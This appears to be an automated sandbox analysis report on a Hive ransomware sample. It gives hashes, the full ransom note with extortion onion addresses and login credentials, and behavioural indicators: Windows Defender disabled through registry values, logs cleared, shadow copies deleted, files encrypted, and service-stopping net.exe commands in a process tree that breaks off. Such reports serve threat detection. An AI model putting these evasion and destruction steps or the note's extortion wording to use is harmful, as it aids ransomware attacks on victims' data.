hive | af9e8f301a3677b457345921d7ee765a842eceb7df107714eaffc6193bfc6bbe

Resubmissions

12-02-2024 06:38

240212-hd166sgg25 10

12-02-2024 06:21

240212-g4tdksgd86 7

Analysis

max time kernel
119s
max time network
184s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
12-02-2024 06:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

211xahcou.exe
Size

3.9MB
MD5

0e4d44dde522c07d09d9e3086cfae803
SHA1

d8dc26e2094869a0da78ecb47494c931419302dc
SHA256

33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
SHA512

ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06
SSDEEP

49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Program Files\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
3100	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 11 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4732	wevtutil.exe
4972	wevtutil.exe
4756	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2320	bcdedit.exe
3276	bcdedit.exe

Renames multiple (103) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (56) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-black\SmallTile.scale-125.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Work\RTL\contrast-black\MedTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\AppxBlockMap.xml	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ja-jp\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_OEM_Perp-ppd.xrm-ms.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_KAAAACgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Work\WideTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\keypad\kor-kor.xml	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-150_8wekyb3d8bbwe\Assets\contrast-white\LargeLogo.scale-150_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\warning_2x.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_NgAAADYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hr-hr\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cryptix.md.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_JAAAACQAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-16.png	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Catalog\traincarcaboose.3mf	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-125_contrast-white.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Tournament\ProgressBarFilled.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\fr-FR\sqloledb.rll.mui	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri	211xahcou.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Smart Tag\1033\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN048.XML.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_DAAAAAwAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.contrast-black_targetsize-32.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\StopwatchWideTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\af_get.svg.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_IAAAACAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteWideTile.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Gamerpics.winmd	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\bg_patterns_header.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AgAAAAIAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessRuntimeR_PrepidBypass-ul-oob.xrm-ms.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\osm.x-none.msi.16.x-none.boot.tree.dat.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_OgAAADoAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Windows Media Player\fr-FR\wmpnssci.dll.mui	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-black\OneNoteSectionGroupMedTile.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files\Mozilla Firefox\Accessible.tlb.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_OAAAADgAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\EmbossBitmaps\Cloud_icon.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\EmbossBitmaps\No Symbol_icon.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\SharpDXEngine\Rendering\Shaders\Builtin\Bin\Colored_PS.fxo	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\selector.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\fr-FR\sqlxmlx.rll.mui.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_MAAAADAAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\Assets\PhotosAppList.targetsize-40_altform-unplated.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\10146_40x40x32.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\3009_40x40x32.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\GenericMailSmallTile.scale-400.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\StopwatchMedTile.contrast-white_scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons_retina.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_JgAAACYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SLATE\THMBNAIL.PNG.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\resources.pri	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\AppxClickHandler.winmd	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Buttons\Deal\New-Deal-over.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_FgAAABYAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.contrast-black_scale-100.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Autumn\autumn_11s.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\PeopleLargeTile.scale-125.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Outlook.scale-250.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-press.svg.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_KgAAACoAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Thumbnails\Sticker_Icon_Sun.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\Assets\contrast-black\OneConnectMedTile.scale-200.png	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.winmd	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\AddressBook.png.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\GamesXboxHubLargeTile.scale-100.png	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\s_radio_unselected_18.svg.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_MAAAADAAAAA0.cv2gj	211xahcou.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js.2f6GaTHmLXyj6XmLtTsH0v26IR_Y7CElZREf2jVAdQn_AAAAAAAAAAA0.cv2gj	211xahcou.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\n8pw_HOW_TO_DECRYPT.txt	211xahcou.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2148	sc.exe
2196	sc.exe
4288	sc.exe
1856	sc.exe
4456	sc.exe
3748	sc.exe
5000	sc.exe
3144	sc.exe
1308	sc.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5012	vssadmin.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1682406436-2801920780-981986064-1000_Classes\Local Settings	firefox.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4332	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2976	PING.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
400	powershell.exe
400	powershell.exe
400	powershell.exe
1428	powershell.exe
1428	powershell.exe
1428	powershell.exe
1428	powershell.exe
168	211xahcou.exe
168	211xahcou.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	4732	wevtutil.exe
Token: SeBackupPrivilege	4732	wevtutil.exe
Token: SeSecurityPrivilege	4972	wevtutil.exe
Token: SeBackupPrivilege	4972	wevtutil.exe
Token: SeSecurityPrivilege	4756	wevtutil.exe
Token: SeBackupPrivilege	4756	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	4552	wmic.exe
Token: SeSecurityPrivilege	4552	wmic.exe
Token: SeTakeOwnershipPrivilege	4552	wmic.exe
Token: SeLoadDriverPrivilege	4552	wmic.exe
Token: SeSystemProfilePrivilege	4552	wmic.exe
Token: SeSystemtimePrivilege	4552	wmic.exe
Token: SeProfSingleProcessPrivilege	4552	wmic.exe
Token: SeIncBasePriorityPrivilege	4552	wmic.exe
Token: SeCreatePagefilePrivilege	4552	wmic.exe
Token: SeBackupPrivilege	4552	wmic.exe
Token: SeRestorePrivilege	4552	wmic.exe
Token: SeShutdownPrivilege	4552	wmic.exe
Token: SeDebugPrivilege	4552	wmic.exe
Token: SeSystemEnvironmentPrivilege	4552	wmic.exe
Token: SeRemoteShutdownPrivilege	4552	wmic.exe
Token: SeUndockPrivilege	4552	wmic.exe
Token: SeManageVolumePrivilege	4552	wmic.exe
Token: 33	4552	wmic.exe
Token: 34	4552	wmic.exe
Token: 35	4552	wmic.exe
Token: 36	4552	wmic.exe
Token: SeIncreaseQuotaPrivilege	4568	wmic.exe
Token: SeSecurityPrivilege	4568	wmic.exe
Token: SeTakeOwnershipPrivilege	4568	wmic.exe
Token: SeLoadDriverPrivilege	4568	wmic.exe
Token: SeSystemProfilePrivilege	4568	wmic.exe
Token: SeSystemtimePrivilege	4568	wmic.exe
Token: SeProfSingleProcessPrivilege	4568	wmic.exe
Token: SeIncBasePriorityPrivilege	4568	wmic.exe
Token: SeCreatePagefilePrivilege	4568	wmic.exe
Token: SeBackupPrivilege	4568	wmic.exe
Token: SeRestorePrivilege	4568	wmic.exe
Token: SeShutdownPrivilege	4568	wmic.exe
Token: SeDebugPrivilege	4568	wmic.exe
Token: SeSystemEnvironmentPrivilege	4568	wmic.exe
Token: SeRemoteShutdownPrivilege	4568	wmic.exe
Token: SeUndockPrivilege	4568	wmic.exe
Token: SeManageVolumePrivilege	4568	wmic.exe
Token: 33	4568	wmic.exe
Token: 34	4568	wmic.exe
Token: 35	4568	wmic.exe
Token: 36	4568	wmic.exe
Token: SeIncreaseQuotaPrivilege	4568	wmic.exe
Token: SeSecurityPrivilege	4568	wmic.exe
Token: SeTakeOwnershipPrivilege	4568	wmic.exe
Token: SeLoadDriverPrivilege	4568	wmic.exe
Token: SeSystemProfilePrivilege	4568	wmic.exe
Token: SeSystemtimePrivilege	4568	wmic.exe
Token: SeProfSingleProcessPrivilege	4568	wmic.exe
Token: SeIncBasePriorityPrivilege	4568	wmic.exe
Token: SeCreatePagefilePrivilege	4568	wmic.exe
Token: SeBackupPrivilege	4568	wmic.exe
Token: SeRestorePrivilege	4568	wmic.exe
Token: SeShutdownPrivilege	4568	wmic.exe
Token: SeDebugPrivilege	4568	wmic.exe
Token: SeSystemEnvironmentPrivilege	4568	wmic.exe
Token: SeRemoteShutdownPrivilege	4568	wmic.exe
Token: SeUndockPrivilege	4568	wmic.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4108	firefox.exe
4108	firefox.exe
4108	firefox.exe
4108	firefox.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
4108	firefox.exe
4108	firefox.exe
4108	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4108	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 168 wrote to memory of 3884	168	211xahcou.exe	73
PID 168 wrote to memory of 3884	168	211xahcou.exe	73
PID 3884 wrote to memory of 2200	3884	net.exe	75
PID 3884 wrote to memory of 2200	3884	net.exe	75
PID 168 wrote to memory of 4240	168	211xahcou.exe	76
PID 168 wrote to memory of 4240	168	211xahcou.exe	76
PID 4240 wrote to memory of 3388	4240	net.exe	78
PID 4240 wrote to memory of 3388	4240	net.exe	78
PID 168 wrote to memory of 4092	168	211xahcou.exe	79
PID 168 wrote to memory of 4092	168	211xahcou.exe	79
PID 4092 wrote to memory of 4252	4092	net.exe	81
PID 4092 wrote to memory of 4252	4092	net.exe	81
PID 168 wrote to memory of 2152	168	211xahcou.exe	82
PID 168 wrote to memory of 2152	168	211xahcou.exe	82
PID 2152 wrote to memory of 1952	2152	net.exe	84
PID 2152 wrote to memory of 1952	2152	net.exe	84
PID 168 wrote to memory of 4688	168	211xahcou.exe	85
PID 168 wrote to memory of 4688	168	211xahcou.exe	85
PID 4688 wrote to memory of 924	4688	net.exe	87
PID 4688 wrote to memory of 924	4688	net.exe	87
PID 168 wrote to memory of 4652	168	211xahcou.exe	88
PID 168 wrote to memory of 4652	168	211xahcou.exe	88
PID 4652 wrote to memory of 1732	4652	net.exe	90
PID 4652 wrote to memory of 1732	4652	net.exe	90
PID 168 wrote to memory of 2440	168	211xahcou.exe	91
PID 168 wrote to memory of 2440	168	211xahcou.exe	91
PID 2440 wrote to memory of 1820	2440	net.exe	93
PID 2440 wrote to memory of 1820	2440	net.exe	93
PID 168 wrote to memory of 4768	168	211xahcou.exe	94
PID 168 wrote to memory of 4768	168	211xahcou.exe	94
PID 4768 wrote to memory of 2360	4768	net.exe	96
PID 4768 wrote to memory of 2360	4768	net.exe	96
PID 168 wrote to memory of 4796	168	211xahcou.exe	97
PID 168 wrote to memory of 4796	168	211xahcou.exe	97
PID 4796 wrote to memory of 3732	4796	net.exe	99
PID 4796 wrote to memory of 3732	4796	net.exe	99
PID 168 wrote to memory of 2148	168	211xahcou.exe	100
PID 168 wrote to memory of 2148	168	211xahcou.exe	100
PID 168 wrote to memory of 3748	168	211xahcou.exe	102
PID 168 wrote to memory of 3748	168	211xahcou.exe	102
PID 168 wrote to memory of 2196	168	211xahcou.exe	104
PID 168 wrote to memory of 2196	168	211xahcou.exe	104
PID 168 wrote to memory of 4288	168	211xahcou.exe	106
PID 168 wrote to memory of 4288	168	211xahcou.exe	106
PID 168 wrote to memory of 5000	168	211xahcou.exe	108
PID 168 wrote to memory of 5000	168	211xahcou.exe	108
PID 168 wrote to memory of 3144	168	211xahcou.exe	111
PID 168 wrote to memory of 3144	168	211xahcou.exe	111
PID 168 wrote to memory of 1308	168	211xahcou.exe	112
PID 168 wrote to memory of 1308	168	211xahcou.exe	112
PID 168 wrote to memory of 1856	168	211xahcou.exe	114
PID 168 wrote to memory of 1856	168	211xahcou.exe	114
PID 168 wrote to memory of 4456	168	211xahcou.exe	116
PID 168 wrote to memory of 4456	168	211xahcou.exe	116
PID 168 wrote to memory of 3452	168	211xahcou.exe	118
PID 168 wrote to memory of 3452	168	211xahcou.exe	118
PID 168 wrote to memory of 4596	168	211xahcou.exe	120
PID 168 wrote to memory of 4596	168	211xahcou.exe	120
PID 168 wrote to memory of 3008	168	211xahcou.exe	122
PID 168 wrote to memory of 3008	168	211xahcou.exe	122
PID 168 wrote to memory of 4372	168	211xahcou.exe	124
PID 168 wrote to memory of 4372	168	211xahcou.exe	124
PID 168 wrote to memory of 5096	168	211xahcou.exe	126
PID 168 wrote to memory of 5096	168	211xahcou.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\211xahcou.exe
"C:\Users\Admin\AppData\Local\Temp\211xahcou.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:168
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:2200
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\system32\net1.exe
